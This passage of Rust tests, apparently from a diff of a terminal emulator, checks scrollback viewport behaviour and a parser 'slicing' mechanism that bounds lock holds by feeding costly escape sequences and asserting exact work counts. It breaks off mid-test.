/// second after the fingers lift; once history runs out every one of them
/// must be free.
#[test]
fn scrolling_past_the_oldest_line_clamps_and_reports_no_movement() {
let (shared, _actions, _) = scrolled_terminal(10);
// Six lines of history: ten written, four on screen.
assert!(shared.scroll(6));
assert_eq!(shared.lock().display_offset(), 6);
assert!(
!shared.scroll(1),
"there is nothing older, so nothing moved"
);
assert!(
!shared.scroll(1_000),
"and a whole flick of it still moves nothing"
);
assert_eq!(shared.lock().display_offset(), 6);
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L01", "L02", "L03", "L04"],
"the top of history is the oldest line, not a blank grid"
);
}
#[test]
fn scrolling_forwards_at_the_live_edge_reports_no_movement() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(!shared.scroll(-1));
assert!(!shared.scroll(-1_000));
assert_eq!(shared.lock().display_offset(), 0);
}
#[test]
fn snapping_to_the_bottom_moves_only_when_scrolled_back() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(
!shared.scroll_to_bottom(),
"already live: a keystroke must not cost a repaint"
);
assert!(shared.scroll(4));
assert!(shared.scroll_to_bottom(), "scrolled back: this is the snap");
assert_eq!(shared.lock().display_offset(), 0);
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L07", "L08", "L09", "L10"]
);
}
/// Why the snap has to exist at all: output does **not** bring the viewport
/// back. The grid pins a scrolled-back viewport and piles new lines above it
/// (`Grid::scroll_up` advances `display_offset` when it is non-zero), which is
/// the behaviour you want while reading -- and means the echo of a keystroke
/// would otherwise land on a screen the user cannot see.
#[test]
fn output_while_scrolled_back_leaves_the_viewport_where_the_reader_put_it() {
let (shared, _actions, mut renderer) = scrolled_terminal(10);
assert!(shared.scroll(3));
shared.feed_fully(b"\r\nL11\r\nL12");
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L04", "L05", "L06", "L07"],
"the reader stays put while new output accumulates below"
);
// And the snap still returns to the *new* live edge, not the old one.
assert!(shared.scroll_to_bottom());
let after = shared.render(&mut renderer);
assert!(after.full, "a viewport move is a repaint");
assert_eq!(screen(&after), vec!["L09", "L10", "L11", "L12"]);
}
/// **The silent-corruption case.**
///
/// The renderer's `Encoder` holds one content hash per screen row. Scrolling
/// changes what every row shows without changing a single cell, so those
/// hashes are stale the instant the viewport moves. The engine's protection is
/// that `scroll_display` marks the grid fully damaged and the embedder
/// republishes via `snapshot`, which does not consume damage -- so the
/// full-damage flag survives for the renderer's own next `render()`, which is
/// what clears its hashes.
///
/// The discriminating part is the row content. Row 0 after the scroll holds
/// `L04`; if a stale hash for row 0 -- taken when it held `L07` -- survived,
/// the row would still ship, because the hashes differ. So the test scrolls to
/// a position where the *pre-scroll* text reappears at the *same screen row*:
/// scrolling back 4 puts `L03..L06` on screen, and then scrolling forward 4
/// restores exactly the rows the hashes describe. A renderer whose hashes were
/// never cleared suppresses the whole screen there, and the user is left
/// looking at history that has scrolled away.
#[test]
fn a_scroll_does_not_leave_the_renderer_deduping_against_a_viewport_it_no_longer_shows() {
let (shared, _actions, mut renderer) = scrolled_terminal(10);
// The embedder's scroll path: move, then republish by snapshot.
assert!(shared.scroll(4));
let mut scroll_encoder = Encoder::new();
let republished = shared.snapshot(&mut scroll_encoder);
assert_eq!(screen(&republished), vec!["L03", "L04", "L05", "L06"]);
// The renderer thread's own next capture must still be told to repaint.
let after_scroll = shared.render(&mut renderer);
assert!(
after_scroll.full,
"the scroll's snapshot must not have eaten the full-damage flag"
);
assert_eq!(screen(&after_scroll), vec!["L03", "L04", "L05", "L06"]);
// Now back to where the renderer's *original* hashes were taken. Every row
// matches a hash it already holds, so only a cleared cache ships them.
assert!(shared.scroll(-4));
let mut back_encoder = Encoder::new();
let _ = shared.snapshot(&mut back_encoder);
let after_return = shared.render(&mut renderer);
assert!(after_return.full);
assert_eq!(
screen(&after_return),
vec!["L07", "L08", "L09", "L10"],
"returning to a previously-hashed viewport must still repaint it"
);
}
/// A row that genuinely changes while the viewport is scrolled back must
/// still reach the renderer. This is the same dedup hazard from the other
/// side: content changing under a stale hash rather than a stale hash under
/// unchanged content.
#[test]
fn a_row_that_changes_while_scrolled_back_still_ships() {
let (shared, _actions, mut renderer) = scrolled_terminal(10);
assert!(shared.scroll(2));
let mut scroll_encoder = Encoder::new();
let _ = shared.snapshot(&mut scroll_encoder);
let _ = shared.render(&mut renderer);
// Rewrite the top line of the active area, which is screen row 2 while
// scrolled back two.
shared.feed_fully(b"\x1b[1;1HCHANGED\x1b[K");
let frame = shared.render(&mut renderer);
let changed = rows_by_line(&frame)
.into_iter()
.find(|(_, text)| text == "CHANGED");
assert_eq!(
changed,
Some((2, "CHANGED".to_string())),
"the rewritten active row must ship, at its scrolled screen position; got {:?}",
rows_by_line(&frame)
);
}
/// The cursor plane travels with the viewport, because the renderer paints it
/// at a screen row and the grid stores it at an active-area row.
#[test]
fn the_cursor_moves_down_the_screen_as_the_viewport_scrolls_back() {
let (shared, _actions, _) = scrolled_terminal(10);
let mut encoder = Encoder::new();
let live = shared.snapshot(&mut encoder);
assert_eq!(live.cursor.line, 3, "cursor sits on the last active row");
assert!(live.cursor.visible);
assert!(shared.scroll(2));
let mut scrolled_encoder = Encoder::new();
let scrolled = shared.snapshot(&mut scrolled_encoder);
assert_eq!(
scrolled.cursor.line, 3,
"row 3 + 2 is off a four-row screen, so it clamps to the last row"
);
assert!(
!scrolled.cursor.visible,
"scrolled off the bottom, so it must not be painted on an unrelated line"
);
}
/// The clamp above is not the whole story: a cursor that is merely pushed
/// *down* -- still on screen -- must report its new row, not its old one. A
/// capture that ignored the offset entirely would pass the clamp test above
/// (row 3 is where the cursor already was) and fail this one.
///
/// Parking the cursor on the top row with `ESC[H` is what leaves it room to
/// move: at the live edge it is on row 0, and scrolling back two puts it on
/// row 2 of a four-row screen, still visible.
#[test]
fn a_cursor_still_on_screen_reports_its_scrolled_row() {
let (shared, _actions, _) = scrolled_terminal(10);
shared.feed_fully(b"\x1b[H");
let mut live_encoder = Encoder::new();
let live = shared.snapshot(&mut live_encoder);
assert_eq!(live.cursor.line, 0, "parked on the top row");
assert!(live.cursor.visible);
assert!(shared.scroll(2));
let mut encoder = Encoder::new();
let frame = shared.snapshot(&mut encoder);
assert_eq!(
frame.cursor.line, 2,
"the caret follows the row it is written on down the screen"
);
assert!(
frame.cursor.visible,
"still inside the viewport, so still painted"
);
}
#[test]
fn the_cursor_becomes_visible_again_on_the_way_back() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(shared.scroll(3));
assert!(shared.scroll_to_bottom());
let mut encoder = Encoder::new();
let frame = shared.snapshot(&mut encoder);
assert_eq!(frame.cursor.line, 3);
assert!(frame.cursor.visible);
}
/// The alternate screen has no scrollback by construction: `Term::new` builds
/// the inactive grid with a zero scroll limit. So scrolling inside `vim` or
/// `less` must be a clamped no-op, leaving the application's own scrolling to
/// the application. Asserted rather than assumed -- a viewport that drifted
/// here would show the primary screen's history behind a full-screen app.
#[test]
fn the_alternate_screen_has_no_scrollback_to_reach() {
let (shared, _actions, _) = scrolled_terminal(10);
shared.feed_fully(b"\x1b[?1049h");
shared.feed_fully(b"ALT");
assert!(!shared.scroll(1), "no history exists on the alt screen");
assert!(!shared.scroll(1_000));
assert_eq!(shared.lock().display_offset(), 0);
// And the primary screen's position is undisturbed on the way back.
shared.feed_fully(b"\x1b[?1049l");
assert!(shared.scroll(2));
assert_eq!(shared.lock().display_offset(), 2);
}
/// A terminal configured with no history cannot scroll at all. The guard is
/// upstream's clamp against `history_size()`, and this pins it: without it the
/// offset would advance and capture would index above the grid.
#[test]
fn a_terminal_without_scrollback_never_moves() {
let (shared, _actions) = terminal(20, 4, 0);
shared.feed_fully(b"a\r\nb\r\nc\r\nd\r\ne\r\nf");
assert!(!shared.scroll(1));
assert!(!shared.scroll(1_000));
assert_eq!(shared.lock().display_offset(), 0);
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["c", "d", "e", "f"]
);
}

View File

@@ -0,0 +1,882 @@
//! The work-denominated slicing seam: what bounds one lock hold, what bounds
//! the queue behind it, and what proves the work was actually done.
//!
//! **This is half a suite.** The adversarial resize and overflow cases live
//! in `slicing_adversarial.rs`, split out for the file-size ratchet; the two
//! files are one set of contracts. A mutation check scoped with
//! `--test slicing` covers 20 of 76 package tests and can report a confident
//! pass while the killing fixture sits in the sibling file. Dropping the
//! scrollback debt does exactly that, then dies under the package.
//!
//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`.
//!
//! Every assertion here is an **exact** expected value, never a `> 0`. A fix
//! that bounds the lock by *dropping* work instead of deferring it reports a
//! beautiful latency and a perfect screen-content receipt -- DECALN fills the
//! grid with `E`, and the second DECALN overwrites the first, so grid content
//! saturates after one of ten thousand. `completed_units == expected` is the
//! only predicate that separates "deferred the work" from "skipped it", and
//! `> 0` is satisfied by a seam that executed exactly one unit.
use buzz_terminal::fences::{
max_atom_work, max_drain_work, slice_bytes_remaining, Fences, MAX_SLICE, SYNC_CAP, TAIL_CAP,
WORK_BUDGET,
};
use buzz_terminal::{Size, Terminal};
const COLUMNS: usize = 200;
const LINES: usize = 50;
const CELLS: u64 = (COLUMNS * LINES) as u64;
fn terminal() -> Terminal {
Terminal::new(
Size {
columns: COLUMNS,
screen_lines: LINES,
scrollback: 100,
},
Fences::ALL,
)
.0
}
/// A deliberately tiny grid, for the arms that must fill the 4 MiB tail.
///
/// Filling the cap is cheap; *draining* it is not, and on a 200x50 grid a
/// full tail of DECALN is ~1e10 work units of real parsing. The cap is a
/// property of the byte depth, not of the grid, so a small grid exercises the
/// same thresholds in seconds instead of minutes -- but it does change what
/// is being tested, so it is named rather than reused silently: these arms
/// test the *depth* predicates, and the arms above test the work bound.
fn tiny() -> Terminal {
Terminal::new(
Size {
columns: 10,
screen_lines: 2,
scrollback: 10,
},
Fences::ALL,
)
.0
}
/// Feed until the tail reaches its cap, or give up.
///
/// Bounded on purpose. A test that loops until a predicate goes true hangs
/// forever when the predicate is what broke, which turns a killed mutant into
/// a wedged CI job -- and a suite that hangs instead of failing is a suite
/// nobody can bisect.
fn fill_tail(term: &mut Terminal, payload: &[u8]) -> bool {
for _ in 0..10_000 {
if term.tail_full() {
return true;
}
term.feed(payload);
}
false
}
/// Pump to completion, counting acquisitions. A drain that needed no second
/// call returns 1.
fn pump(term: &mut Terminal, bytes: &[u8]) -> usize {
let mut calls = 1;
let mut more = term.feed(bytes);
while more {
more = term.drain();
calls += 1;
}
calls
}
/// One `feed` may not spend an unbounded amount of work, however much the
/// stream asks for.
///
/// Kills: deleting the `spent >= WORK_BUDGET` break, which restores the
/// unbounded hold this whole seam exists to prevent. Deliberately asserts on
/// *work* rather than wall time -- a time assertion is a flake on a loaded
/// machine, and the work bound is the thing the code actually promises.
#[test]
fn one_feed_spends_at_most_one_budget_plus_a_slice() {
let mut term = terminal();
let decalns = 10_000;
term.feed(&b"\x1b#8".repeat(decalns));
let spent = term.stats().completed_work;
// Two terms, both irreducible: the budget is checked between slices, and
// a slice is sized so it holds at most one budget of the densest payload;
// and the callback that crosses the line cannot be preempted.
let ceiling = max_drain_work(COLUMNS, LINES, 100);
assert!(
spent <= ceiling,
"one feed spent {spent} work, over budget+overshoot ({ceiling})",
);
assert!(
term.pending_bytes() > 0,
"10000 DECALNs is {} work and the budget is {WORK_BUDGET}; if nothing \
is pending the seam ran the whole payload in one hold",
decalns as u64 * CELLS,
);
}
/// Every deferred byte is eventually executed -- exactly once, and all of it.
///
/// Kills: bounding the hold by dropping the remainder instead of keeping it
/// (`self.pending.clear()` in place of the tail), which passes any latency
/// gate and any grid-content check. The unit count is the only witness.
#[test]
fn a_deferred_tail_executes_every_unit_exactly_once() {
let mut term = terminal();
let decalns = 10_000;
let calls = pump(&mut term, &b"\x1b#8".repeat(decalns));
assert!(
calls > 1,
"a payload this dense must have needed a second call"
);
assert_eq!(
term.stats().completed_units,
decalns as u64,
"every DECALN must execute exactly once: no drops, no double-parse",
);
assert_eq!(term.stats().completed_work, decalns as u64 * CELLS);
assert_eq!(term.pending_bytes(), 0, "nothing may be left behind");
}
/// The tail drains without another `feed` -- a reader with nothing new to
/// read must still be able to retire what it already accepted.
///
/// Kills: draining only from `feed`, which strands the tail whenever the
/// child goes quiet (`cat bigfile` then no more output: the last screenful
/// never appears).
#[test]
fn a_tail_drains_without_a_second_feed() {
let mut term = terminal();
let decalns = 2_000;
assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail");
// Never feed again. Only drain.
while term.drain() {}
assert_eq!(term.stats().completed_units, decalns as u64);
assert_eq!(term.pending_bytes(), 0);
}
/// A slice is cut only at a byte boundary the parser has already passed, so
/// an escape sequence split across two slices still executes once.
///
/// Kills: cutting mid-sequence and restarting the parser, or double-feeding
/// the straddling bytes. `\x1b#8` is 3 bytes and slices are a multiple of
/// neither, so at this length hundreds of sequences straddle a cut.
#[test]
fn a_sequence_split_across_slices_executes_exactly_once() {
let mut term = terminal();
let decalns = 3_000;
pump(&mut term, &b"\x1b#8".repeat(decalns));
assert_eq!(
term.stats().completed_units,
decalns as u64,
"a straddling sequence was dropped or executed twice",
);
// Same payload, delivered one byte per feed: every sequence straddles.
let mut byte_at_a_time = terminal();
for chunk in b"\x1b#8".repeat(decalns).chunks(1) {
byte_at_a_time.feed(chunk);
}
while byte_at_a_time.drain() {}
assert_eq!(byte_at_a_time.stats().completed_units, decalns as u64);
}
/// The tail is a bound on the queue, and the breach counter is loud.
///
/// Kills: a silent cap -- a tail that grows past `TAIL_CAP` without saying
/// so is indistinguishable from a reader that is obeying backpressure, which
/// is exactly the confusion that hides an unbounded queue.
#[test]
fn an_overrun_tail_is_capped_and_counted() {
let mut term = tiny();
assert!(!term.tail_full(), "a fresh terminal is not full");
assert!(term.tail_drained(), "a fresh terminal is drained");
assert_eq!(term.stats().tail_breaches, 0);
// A reader that ignores `tail_full` and keeps shovelling.
assert!(
fill_tail(&mut term, &b"\x1b#8".repeat(20_000)),
"the tail never reached its cap: the queue is not bounded",
);
assert!(term.pending_bytes() >= TAIL_CAP);
assert!(
term.stats().tail_breaches > 0,
"reaching the cap must be counted, not absorbed silently",
);
assert!(!term.tail_drained(), "a full tail is not a drained tail");
}
/// Resume is hysteretic: `tail_drained` does not go true the instant the tail
/// falls one byte below the cap.
///
/// Kills: `tail_drained() == !tail_full()`, which makes a reader flap between
/// paused and reading once per slice at exactly the moment it is most loaded.
#[test]
fn resume_waits_for_a_low_water_mark_not_merely_a_non_full_tail() {
let mut term = tiny();
assert!(
fill_tail(&mut term, &b"\x1b#8".repeat(20_000)),
"expected a full tail"
);
// Drain until the reader is allowed to resume, watching for a window in
// which it is neither full nor drained -- that gap *is* the hysteresis.
let mut saw_gap = false;
for _ in 0..1_000_000 {
if term.tail_drained() {
break;
}
assert!(term.drain() || term.tail_drained());
if !term.tail_full() && !term.tail_drained() {
saw_gap = true;
}
}
assert!(
term.tail_drained(),
"the tail never drained to the resume mark"
);
assert!(
saw_gap,
"no depth was both non-full and non-drained: the two thresholds are \
the same value and the reader will flap",
);
}
/// Close must not be held behind parser work.
///
/// Kills: draining the tail on close instead of discarding it. Measured
/// elsewhere in this project: teardown that finishes parsing before killing
/// the child costs ~600 ms on macOS, and no byte of that work reaches a
/// renderer -- publication is detached before shutdown drains.
#[test]
fn close_may_abandon_the_tail_and_says_how_much_it_dropped() {
let mut term = terminal();
term.feed(&b"\x1b#8".repeat(10_000));
let stranded = term.pending_bytes();
assert!(stranded > 0);
let abandoned = term.abandon_tail();
assert_eq!(abandoned, stranded);
assert_eq!(term.pending_bytes(), 0);
assert_eq!(
term.stats().abandoned_bytes,
stranded as u64,
"dropped bytes must be counted: this is lossy by design and silent \
loss is how it stops being by design",
);
assert!(
term.tail_drained(),
"an abandoned tail cannot strand a reader"
);
}
/// The grid the weights are priced against tracks resizes.
///
/// Kills: dropping `Feeder::resize`. A stale grid misprices every O(cells)
/// charge for as long as it is wrong -- and it is wrong in the *unsafe*
/// direction whenever the window grows, which is the common case.
#[test]
fn a_resize_reprices_the_same_escape() {
let mut small = terminal();
small.feed_fully(b"\x1b#8");
let before = small.stats().completed_work;
assert_eq!(before, CELLS);
small.resize(Size {
columns: COLUMNS * 2,
screen_lines: LINES,
scrollback: 100,
});
small.reset_stats();
small.feed_fully(b"\x1b#8");
assert_eq!(
small.stats().completed_work,
CELLS * 2,
"the same escape on a grid twice as wide must cost twice as much",
);
assert_eq!(small.stats().completed_units, 1, "still one callback");
}
/// A resize *between* slices of one payload reprices the remainder.
///
/// Kills: caching the slice size or the grid across a drain. The tail
/// outlives the call that accepted it, so a resize can land in the middle of
/// it -- the untouched remainder must be charged at the new grid, not the one
/// that was current when the bytes arrived.
#[test]
fn a_resize_mid_tail_reprices_the_remainder() {
let mut term = terminal();
let decalns = 4_000;
assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail");
let done_before = term.stats().completed_units;
let work_before = term.stats().completed_work;
assert_eq!(work_before, done_before * CELLS);
term.resize(Size {
columns: COLUMNS * 2,
screen_lines: LINES,
scrollback: 100,
});
while term.drain() {}
let after = term.stats();
assert_eq!(after.completed_units, decalns as u64, "no unit may be lost");
assert_eq!(
after.completed_work,
work_before + (decalns as u64 - done_before) * CELLS * 2,
"the remainder must be priced at the resized grid",
);
}
/// Slice size is derived from the worst atom the grid admits, because a fixed
/// byte count cannot bound a lock hold: `ESC c` is two bytes and resets both
/// grids plus scrollback.
///
/// Kills: replacing `slice_bytes_remaining` with a constant, or deriving it from
/// `cells` while the worst atom is larger than `cells`. Measured: 256 bytes
/// of DECALN is 1.6 ms at 200x50 and ~14 ms at 1600x50, so no one constant
/// serves both.
#[test]
fn slice_size_shrinks_as_the_worst_atom_grows() {
let small = slice_bytes_remaining(80, 24, 0, 0, 0);
let large = slice_bytes_remaining(1600, 50, 0, 0, 0);
assert!(
small > large,
"a bigger grid makes each byte more expensive, so slices must shrink: \
80x24 -> {small}, 1600x50 -> {large}",
);
assert!(
slice_bytes_remaining(200, 50, 10_000, 0, 0) <= slice_bytes_remaining(200, 50, 0, 0, 0),
"scrollback makes RIS more expensive, so it may only shrink slices",
);
for (columns, lines, scrollback) in [(80, 24, 0), (200, 50, 0), (400, 100, 0), (1600, 50, 0)] {
assert!((1..=MAX_SLICE).contains(&slice_bytes_remaining(columns, lines, scrollback, 0, 0)));
// One slice holds at most N/2 of the densest atom. Either that fits a
// budget, or the floor binds -- and then the overshoot is stated by
// `max_drain_work` rather than being an accident.
let width = slice_bytes_remaining(columns, lines, scrollback, 0, 0);
let worst = (width as u64 / 2) * max_atom_work(columns, lines, scrollback);
assert!(
worst <= WORK_BUDGET || width == 1,
"{columns}x{lines}: a slice buys {worst} work against a \
{WORK_BUDGET} budget without the MIN clamp to excuse it",
);
}
}
/// Work released by an F1 abort is counted.
///
/// Kills: leaving the `stop_sync` flush out of the accounting. F1 aborts a
/// runaway synchronized update by flushing its buffer through the handler --
/// those callbacks run, cost time, and hold the lock, so a scheduler that
/// does not see them is blind on exactly the path the fence created. The
/// escapes here are `ESC#8` so the flushed work is unmistakable against the
/// buffered bytes.
#[test]
fn work_flushed_by_a_sync_abort_is_counted() {
let (mut term, _a) = Terminal::new(
Size {
columns: 80,
screen_lines: 24,
scrollback: 0,
},
Fences::SYNC_ONLY,
);
let cells = 80 * 24;
// Open a synchronized update and never close it: F1 must abort it once
// the buffer passes SYNC_CAP, flushing everything buffered so far.
term.feed_fully(b"\x1b[?2026h");
let decalns = SYNC_CAP / 3 + 1000;
term.feed_fully(&b"\x1b#8".repeat(decalns));
let stats = term.stats();
assert!(stats.sync_aborts > 0, "the fence must have fired");
// Every DECALN fed must be accounted for. The comparison is against the
// *input*, not against the counters' own internal consistency: an
// uncounted flush leaves both counters small together, so checking them
// against each other would pass over the mutant.
// Two bookkeeping callbacks besides the DECALNs: the `ESC[?2026h` that
// opened the update, and the `unset_private_mode` that `stop_sync` emits
// per abort to report the mode off (`vte-0.15.0/src/ansi.rs:353`).
let bookkeeping = 1 + stats.sync_aborts;
assert_eq!(
stats.completed_units,
decalns as u64 + bookkeeping,
"every DECALN must be counted, including the ones released by the \
abort, plus {bookkeeping} mode callbacks",
);
assert_eq!(
stats.completed_work,
decalns as u64 * cells + bookkeeping,
"and their work: {decalns} DECALNs at {cells} cells each",
);
}
/// Cheap traffic is not taxed by slicing: an ordinary screenful retires in
/// one call.
///
/// Kills: a budget so small, or a slice so small, that normal output pays the
/// deferral machinery. This is the companion to the DECALN arm -- a seam that
/// bounds the hold by making everything slow has not fixed anything.
#[test]
fn ordinary_output_needs_no_second_call() {
let mut term = terminal();
let line = b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n";
let screenful = line.repeat(LINES);
assert!(
!term.feed(&screenful),
"a screenful of ordinary output must retire in one call, not defer",
);
assert_eq!(term.pending_bytes(), 0);
assert_eq!(term.stats().tail_breaches, 0);
}
/// The work bound holds on the **first drain of a fresh feeder**, for the
/// densest payload upstream offers.
///
/// Kills: sizing slices from observed density. A learned bound is not a bound
/// on the first slice -- a cold feeder has seen nothing, so it hands the
/// parser a wide slice, and a wide slice of `ESC c` spends many budgets
/// before anything checks. This is the arm that a warm-up-based scheduler
/// passes on the second call and fails on the first, so it asserts on a
/// terminal that has never parsed a byte.
#[test]
fn a_cold_feeder_bounds_its_very_first_slice() {
for (columns, lines) in [(80, 24), (200, 50), (400, 100), (1600, 50)] {
for (label, atom) in [("RIS", &b"\x1bc"[..]), ("DECALN", &b"\x1b#8"[..])] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: lines,
scrollback: 100,
},
Fences::ALL,
);
// Never fed before: `density`-style state, if any existed, is at
// its initial value.
term.feed(&atom.repeat(5_000));
let spent = term.stats().completed_work;
let ceiling = max_drain_work(columns, lines, 100);
assert!(
spent <= ceiling,
"{label} at {columns}x{lines}: first drain of a cold feeder \
spent {spent} work, over budget+overshoot ({ceiling})",
);
assert!(term.pending_bytes() > 0, "{label}: expected a tail");
}
}
}
/// Exact price of every escape whose cost the grid can amplify.
///
/// One table, exact `completed_work` per escape, at two widths so a weight
/// that dropped its `columns` factor cannot hide. Kills, one row each:
///
/// * `delete_chars`/`insert_blank` charged by `N` -- their cost *falls* as N
/// rises (the swap loop runs `columns - end` times), so N=1 is the worst
/// case and pricing by N is backwards.
/// * `erase_chars` charged raw `N` -- upstream clamps to the row, so
/// `ESC[65535X` on an 80-column grid touches 80 cells, not 65535.
/// * `scroll_up`/`delete_lines` losing their `columns` factor -- the rows are
/// reset, and a row reset is O(columns).
/// * `clear_line`, `decaln`, `clear_screen` mispriced by an axis.
///
/// Exact equality, never a bound: a `<=` assertion passes for every weight
/// smaller than the truth, which is the direction that hurts.
#[test]
fn every_amplifiable_escape_is_priced_exactly() {
for (columns, lines) in [(80usize, 24usize), (400, 50)] {
let cells = (columns * lines) as u64;
let c = columns as u64;
let cases: &[(&str, String, u64)] = &[
("decaln", "\u{1b}#8".into(), cells),
("clear_screen", "\u{1b}[2J".into(), cells),
("clear_line", "\u{1b}[2K".into(), c),
("erase_chars N=1", "\u{1b}[1X".into(), 1),
("erase_chars N=20", "\u{1b}[20X".into(), 20),
("erase_chars N=huge", "\u{1b}[65535X".into(), c),
("delete_chars N=1", "\u{1b}[1P".into(), c),
("delete_chars N=huge", "\u{1b}[65535P".into(), c),
("insert_blank N=1", "\u{1b}[1@".into(), c),
("scroll_up N=1", "\u{1b}[1S".into(), c),
("scroll_up N=5", "\u{1b}[5S".into(), 5 * c),
("scroll_up N=huge", "\u{1b}[65535S".into(), lines as u64 * c),
("scroll_down N=1", "\u{1b}[1T".into(), c),
("scroll_down N=4", "\u{1b}[4T".into(), 4 * c),
(
"scroll_down N=huge",
"\u{1b}[65535T".into(),
lines as u64 * c,
),
("delete_lines N=3", "\u{1b}[3M".into(), 3 * c),
(
"delete_lines N=huge",
"\u{1b}[65535M".into(),
lines as u64 * c,
),
("insert_lines N=1", "\u{1b}[1L".into(), c),
("insert_lines N=6", "\u{1b}[6L".into(), 6 * c),
(
"insert_lines N=huge",
"\u{1b}[65535L".into(),
lines as u64 * c,
),
("put_tab N=1", "\t".into(), c),
("fwd_tabs N=1", "\u{1b}[1I".into(), c),
("fwd_tabs N=huge", "\u{1b}[65535I".into(), c),
("insert_blank N=huge", "\u{1b}[65535@".into(), c),
("clear_line ESC[0K", "\u{1b}[0K".into(), c),
("clear_line ESC[1K", "\u{1b}[1K".into(), c),
("clear_screen ESC[0J", "\u{1b}[0J".into(), cells),
("clear_screen ESC[1J", "\u{1b}[1J".into(), cells),
("sgr", "\u{1b}[m".into(), 1),
("goto", "\u{1b}[1;1H".into(), 1),
];
for (label, seq, expected) in cases {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: lines,
scrollback: 0,
},
Fences::ALL,
);
// Home first so nothing scrolls, then measure only the escape.
term.feed_fully(b"\x1b[1;1H");
term.reset_stats();
term.feed_fully(seq.as_bytes());
assert_eq!(term.stats().completed_units, 1, "{label}: one callback");
assert_eq!(
term.stats().completed_work,
*expected,
"{label} at {columns}x{lines} priced wrong",
);
}
}
}
/// RIS is priced with its history axis, not just its cells.
///
/// Kills: charging `cells`, or dropping the history term.
///
/// On the alt-screen arm, honestly labelled: the active-`history_size()`
/// mispricing it was written against is **unrepresentable in this design**,
/// not merely untested. `Counting` holds `scrollback` as a scalar copied at
/// construction and has no path to a live grid, so there is no way to write
/// the mutant. The arm is kept as a regression witness -- if a `Term`
/// reference is ever wired into the wrapper it becomes load-bearing the same
/// day -- and both arms are evaluated before either can report, so the
/// primary cannot short-circuit the alt.
#[test]
fn ris_is_priced_for_both_grids_and_the_scrollback_it_walks() {
let (columns, lines) = (80usize, 24usize);
let cells = (columns * lines) as u64;
let mut observed = vec![];
for scrollback in [0usize, 100, 10_000] {
for (label, prefix) in [("primary", ""), ("alt screen", "\u{1b}[?1049h")] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: lines,
scrollback,
},
Fences::ALL,
);
term.feed_fully(prefix.as_bytes());
term.reset_stats();
term.feed_fully(b"\x1bc");
observed.push((label, scrollback, term.stats().completed_work));
}
}
// One comparison over the whole vector, not a loop of comparisons.
// Collecting first stops an arm from being *skipped*; asserting the
// vectors is what stops a failure from being *truncated* to the first
// mismatch. Otherwise the alt-screen receipt still never prints, which
// was the point of collecting.
let expected: Vec<_> = observed
.iter()
.map(|&(label, scrollback, _)| {
(label, scrollback, 2 * cells + (scrollback * columns) as u64)
})
.collect();
assert_eq!(
observed, expected,
"RIS must be priced on configured depth, identically on both grids",
);
}
/// CBT is charged for exactly the cells it scans -- an equality, in both
/// directions.
///
/// Kills: delegating `move_backward_tabs` verbatim, and deleting the
/// fixed-point break. With tabstops cleared and the cursor at the right
/// margin, upstream never advances the cursor, so its `col == 0` exit is
/// unreachable and all N iterations rescan the row -- `ESC[3g ESC[65535Z` is
/// 8 bytes for 82 ms at 1600 columns.
///
/// Two traps this had to be written around, both of which I walked into
/// first:
///
/// * **The cursor is not the witness.** Deleting the break lands on the same
/// column; only the cost differs. A fixture checking where the cursor ended
/// up passes over the mutant.
/// * **An upper bound is not the witness either.** Deleting the break makes
/// the loop run without charging -- measured `work == 1` for 29 ms of real
/// scanning -- so `spent <= bound` *passes*. Under-charging is exactly the
/// direction that hurts, and only an equality sees it.
///
/// The expected value is the scan the source performs: with no stop below the
/// cursor, one pass over `cursor_column` cells, then a permanent fixed point.
/// Both arms come to `columns` -- the telescoping sum of a walk, or one
/// failed pass -- which is the bound this whole change buys.
#[test]
fn the_worst_atom_is_charged_for_exactly_what_it_scans() {
for columns in [80usize, 400, 1600] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: 50,
scrollback: 0,
},
Fences::ALL,
);
// Adversarial for cost: every tabstop gone, cursor at the right
// margin, count far past the width.
term.feed_fully(format!("\u{1b}[3g\u{1b}[1;{columns}H").as_bytes());
term.reset_stats();
term.feed_fully(b"\x1b[65535Z");
assert_eq!(term.stats().completed_units, 1, "one escape, one callback");
assert_eq!(
term.stats().completed_work,
1 + (columns as u64 - 1),
"one failed scan over the whole prefix, then a permanent fixed \
point: the charge is the escape plus that one scan. A loop that \
kept going would charge this much per iteration, 65535 times",
);
// The real guard on the loop: with a stop reachable, the charge must
// equal the distance actually travelled. A break-less loop scans the
// row 65535 times and charges for one crossing.
let (mut walk, _a) = Terminal::new(
Size {
columns,
screen_lines: 50,
scrollback: 0,
},
Fences::ALL,
);
// Default tabstops every 8: from the right margin a huge count walks
// to column 0, crossing every column on the way.
walk.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes());
walk.reset_stats();
walk.feed_fully(b"\x1b[65535Z");
assert_eq!(walk.term().grid().cursor.point.column.0, 0);
assert_eq!(
walk.stats().completed_work,
1 + (columns as u64 - 1),
"the charge must be the distance travelled: one unit for the \
escape plus one per column crossed",
);
}
}
/// CBT at column 0 is free, and stays free.
///
/// Kills: removing the `before == 0` guard. Upstream has its own `col == 0`
/// break, so deleting the wrapper's copy is invisible to the cursor and
/// invisible to timing -- it only shows up as work charged for a scan over
/// zero cells that the wrapper attributed to itself. The left margin is also
/// the position both earlier sweeps of this op homed to, which is why it is
/// the position where a defect hides best.
#[test]
fn the_worst_atom_costs_nothing_at_the_left_margin() {
for columns in [80usize, 400] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: 50,
scrollback: 0,
},
Fences::ALL,
);
term.feed_fully(b"\x1b[3g\x1b[1;1H");
term.reset_stats();
term.feed_fully(b"\x1b[65535Z");
assert_eq!(
term.stats().completed_work,
1,
